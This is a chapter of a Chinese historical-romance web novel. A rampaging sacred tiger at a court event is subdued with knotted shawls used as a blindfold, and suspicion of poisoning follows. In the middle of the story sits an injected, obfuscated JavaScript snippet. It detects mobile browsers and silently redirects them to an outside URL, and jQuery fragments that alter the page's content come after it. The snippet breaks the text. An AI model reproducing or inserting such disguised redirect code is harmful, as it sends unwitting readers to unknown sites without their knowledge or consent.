猛虎悬空跳跃,伸出爪牙,长啸撕破天际。
沈荜这才反应过来,将身体往后一扭要逃走,可已经有些来不及了,慌乱中还被绊倒在地。
高台围栏之上,四下开阔能将一切尽收眼底,宁弈眉头紧锁,见情势危急,也不顾一旁与他喋喋不休的昴诃,只飞身向下。
“哎......”昴诃在他身后叫着,气愤道,“你到底有没有听我说话?”
宁弈落地站定,抬眼一看,怎料王远之已经率先一步挡在沈荜面前,王远之撑起双臂,抓着囚车上散架的木棍抵在赤虎血盆大口之间。
“快带公主走!”王远之对着宁弈喊,转身举起粗棍,“畜生,休要伤人。”
“王将军!”沈荜受了惊吓跌倒在地,手里攥紧王远之的衣角。
“殿下危险!”宁弈拉住沈荜的胳膊道。
沈荜想到自己身弱无力,留在这里恐是拖累,这才松开交待道:“你要小心。”
宁弈单手揽住沈荜腰间,飞跃而上,迅速将人带离了这堪比龙潭虎穴之地。
所有人顾着仓皇逃命,落荒而逃,管他貌美贵女,还是清雅公子,全都大惊失色连滚带爬。
好不容易逃脱,心有余悸地登上了看台,有的跌坐在地,不顾形象,有的吓得失魂落魄,面色铁青。
唯一剩下王远之一人咬牙撑着,那猛兽体型庞大,嚎怒咆哮时耳边欲流血生烟。
她几番周旋,身轻如燕,骑在赤虎脖颈间,敏捷稳住身子,却被那畜生猛力甩开,被震在地下,吐了一口鲜血,双双焦灼难分。
“怎么办啊,这般下去王将军迟早会体力不支的。”严婉兮跺着脚神色急切道。
沈荜望向眼前激烈战况,王远之拖着身体又站了起来。
她平复了惊跳的心口,道:“羽林卫众将士听令,助王将军擒拿凶兽。”
“是。”
齐刷刷的声音响起,一队身着玄黑铠甲的皇城护卫军手握长矛,迅速投入战场。
虽有了羽林卫的帮助,场上非但没有转换情形,那庞然赤虎反而将长尾一甩,扑出虎爪,狠狠地将士兵们一扫摔飞,士兵们接二连三地飞落在地。
王远之擦了唇角边的鲜血,捡起折断的长矛,眼里燃烧着视死如归般的火焰。
她一个双膝跪地,滑步贴近地面,趁机将长矛插进猛兽的腹部。
“呜——”
赤虎一声惨叫,震耳欲聋,又摇头摆尾四处跑窜,王远之还握着插在它腹部的长矛不松手,颠得她五脏六腑都快甩起来了。
“将军,请手下留情!”哥舒涵眼见灵兽受伤,忍不住求情道,“留它一命!”
王远之耳边闪过他的声音,一手抽出长矛,却被那灵虎一脚踹开。
“这都什么时候了,还要那畜生的命有何用。”沈昭不耐道。
“求陛下开恩,这灵兽被越支奉为天降国宝,若杀了它就是触怒天威,必遭天谴。”
“人命关天,既是祥瑞,就该庇护黎民,天若真心要罚,也要罚它伤人在先。”严婉兮反驳,随后转身扑通跪倒在地,摇着沈荜衣袖道,“公主,公主,求求你救救王将军。”
“婉兮不得无礼!”
严子琛见自家妹妹冲撞皇家,厉声上前呵斥。
严婉兮却不肯放手,急得眼泪都流下了,双眸涟漪,闪烁光点。
沈荜见王远之负伤抵抗怎么会不心疼,那是从小到大疼爱她的阿芝姐。
她眉下挤满了忧愁的目光,搜刮着办法,忽然间又扶起严婉兮,拉住她的披帛道:“严二小姐,借此一用。”
沈荜扯过严婉兮紫色的披帛,将它与自己红绿撞色肩帛接在一起,死死打了个结,但依旧觉得不够,周身转动一望,向身旁的昴诃公主道:“公主,得罪了。”
“哎,我这可是上好的翠玉缕金锦缎。”
昴诃一脸抗拒,死死不撒手,沈荜挪步将披肩轻轻一抽,捏在手中。
“你......”
昴诃想要上前夺回,却被沈荜一旁的宁弈拦住道:“公主若一定要,过几日在下赔你一条一模一样的便是。”
听此,昴诃方才撒手消停,缠了他半天,终于和她说句话了。
沈荜哪知道昴诃的心思,继续手上的动作,现在救人最要紧。
“皇姐这是作何?”沈昭不解问。
“我曾见《南洲志闻录》记载,朱丹灵虎喜光明,忌见阴暗,若是能使物蒙住其双眼,或许能抑制它的暴烈凶残。”
沈荜一边动手,一边解释着。
哥舒涵听沈荜并不伤害灵兽,如遇大赦般擦了擦额间的汗道:“对对对,是这样,公主说的不错。”
听言后,天子圣口一开,大声问:“诸位女眷若能献出这披戴之物,朕重重有赏。”
场上女子皆先是默声不答,犹犹豫豫,左顾右盼。
直到一声言语发出——
“我愿意!”
说话之人踏着轻飘飘的步伐,伸手脱下肘窝间的轻纱,上前递给沈荜时,两人的烟波流转片刻即停,是昔日花朝节会过一面的容幻儿。
“这东西这般碍手碍脚,我早就不想要了,拿去罢。”沈玉芜随后跟着上前。
“我也愿意。”
“我的。”
“还有我。”
“......”
一人身先士卒,就有千万人沿着那条路踏来,所有女子都奉献出她们心喜的披帛来。
沈荜郑重地接过道:“多谢,待此事了结,我定加倍偿还诸位所爱。”
“公主何必说这些,谁家女郎还没有几条披帛,若真要还,可把我们说得小气了些。”沈玉芜道。
“是啊是啊,救人要紧,要不是王将军危急之下舍身,我们现在早就成了那凶兽的口中吃食了。”
“对对对,和王将军比起来,一条小小披帛算得了什么。”
就在说话间,严婉兮已经迅速将所有围帛连在一处,她虽为闺阁女子,但胜在母亲时常督促她学习女工,这结绳巧活更是不在话下。
终于,一条五彩斑斓的长巾随风飘荡,结在了一起。
“宁大人,辛苦你下场与王将军携手拿虎。”
沈荜将手里的布帛交给他,像是千斤泰山般的重任交了上去。
宁弈接过,再次飞身入场,将手里的长帛扔出:“王将军,接好。”
那头,王远之本来撑着最后一股劲儿,实在不行就打死这畜生,管不了那么多了,谁曾想宁弈丢给她一副女子用的长帛,以为是要缚住这畜生,她夺下接过。
“王将军,用长帛蒙住它的眼睛。”严婉兮声嘶力竭地补充道。
王远之这才明白用意,两人一番配合,上天遁地般,先将赤虎脖子紧紧勒住使它不能随意动弹,又乘机裹住它的身躯和四肢,幸好布帛够长,最后齐心协力轻点地面,飞起绕过将赤虎双眼盖住。
那家伙原先还挣扎发怒,盖住双眼后失去光亮,岂料真的慢慢安静了下来。
“它真的不动弹了,拿下了!”
“太好了!”
“......”
几番惊心动魄的殊死搏斗后,赤虎如花色蚕蛹般被紧紧地捆倒在地上。
所有人也终于松了一口气,这番挣扎真是不容易。
王远之和宁弈泄了一口气,两人都没想到还能在除了战场之外的地方并肩作战。
缓缓归来时,二人脸颊鬓间已经有些微汗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445809|185098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严婉兮小跑上前,扶住王远之的胳膊,递给她一方赤白飞鹤丝巾:“王将军,你没事吧,方才真的吓死我了。”
王远之被赤虎抓伤的右臂此刻正被严婉兮死死捏住,她架不住“嘶”了一声道:“让严小姐担心了,我并无大碍,但严小姐若是再这么抓下去,我这胳膊怕是要废了。”
严婉兮惊讶地一下子松开她的小臂,这才发现他的小臂上有一道醒目的爪痕,悻悻间感到不好意思,主动抬手替她擦干净脸上的汗。
这边,宁弈一上了围栏处,容幻儿早已经在一旁停住等他:“宁公子,擦擦吧。”
宁弈却没有接,婉拒道:“多谢小姐好意。”
容幻儿见他的口气有些生分,脸上显出一丝藏不住的失落:“宁公子不记得我了?”
“宁某刚回上都不久,确实不太清楚这些簪缨名门。”
“罢了,不记得也好。”
容幻儿觉得那年花朝节她留给宁弈的初印象并不好,他不记得倒也好。
而远远的一旁,沈荜藏在袖间的丝巾并未显露,指尖紧紧地捏住不作声响。
“怎么?姐姐就不去问问宁大人?”沈玉芜凑近调笑道。
“多我一个不多,少我一个也不少。”
沈荜想,哪儿还轮得着她呀,瞅瞅,昴诃公主也跟上去了不是。
“听说宁大人曾与姐姐伴读,两人少时情感甚笃,两小无猜;我还听银翠姐姐说,你本欲去和亲时,走到半路,是宁大人拦下了你,哎哟哟,这在我们琼州,可是能写成绝妙的好戏,连连叫座。”
她边说边笑,一时间分不清是在打趣还是真话。
其实不用去琼州,上都关于他们两人的猜测和蜚语就已经不断。
“难怪皇叔要将你早早嫁人,妹妹这嘴惯会编排。”
沈荜弯着食指钩住她的鼻尖戏弄。
“我不说了,我不说了。”沈玉芜败下阵来,嘟囔道,“姐姐可莫要在父王面前提嫁娶的事,他虽答应了你我,恐一遭生变,又要扬言将我嫁出去。”
正说笑着,场上所有残局已快被清理好了,赤虎也被重新关进笼子里,惊吓之余大家伙也慢慢平复下心来。
今日这看虎差点把自己的命都看丢了,这对齐悦和越支来说都是极大的事,若是哪个王孙贵族,或是王远之真的命丧虎口,那么越支同样难辞其咎。
说起来,歌舒涵也没想到会发生这样的事,他压低嗓音责问下属道:“殷段,这是怎么回事?”
那位脸上抹着三色妆面的男子颤颤巍巍道:“属下不知为何会发生这样大的事,但方才我见圣兽瞳色惊变,此乃中毒之兆,一定是有人做了手脚。”
歌舒涵想起灵兽确实忽然散发的金黄色瞳孔,他一只残缺的眼睛被罩住,另一只眸子扫过场上所有人,像蟒蛇吐着蛇信子般安安观察。
“到底是谁想要害我越支?”
他们现在最担心的就是齐悦发难,需要尽快找到从中作梗之人才行。
而越是怕什么,就越会来什么。
“歌舒使者,是不是该给我们一个交代?”沈荜忽然间发话。
众目睽睽之下,所有人的双眼都是看着,歌舒涵不好摘脱。
“公主容禀,吾等奉命朝贺贵国,绝不会行那谋害之事。诚然难掩其过,惊吓了各位,也一定给贵国一个交代。”歌舒涵诚恳道,“圣兽突变残暴,瞳孔异色,是有人暗中投毒下药,这才引发了这阵骚乱。这是要嫁祸我越支呐!”
“下毒?何人敢下毒?”沈昭疑惑道。
“此事尚待查明,所有接触过圣兽,特别是饲养送食之人都需要一一排查。”
沈荜道:“将兽苑饲养使都叫上来。”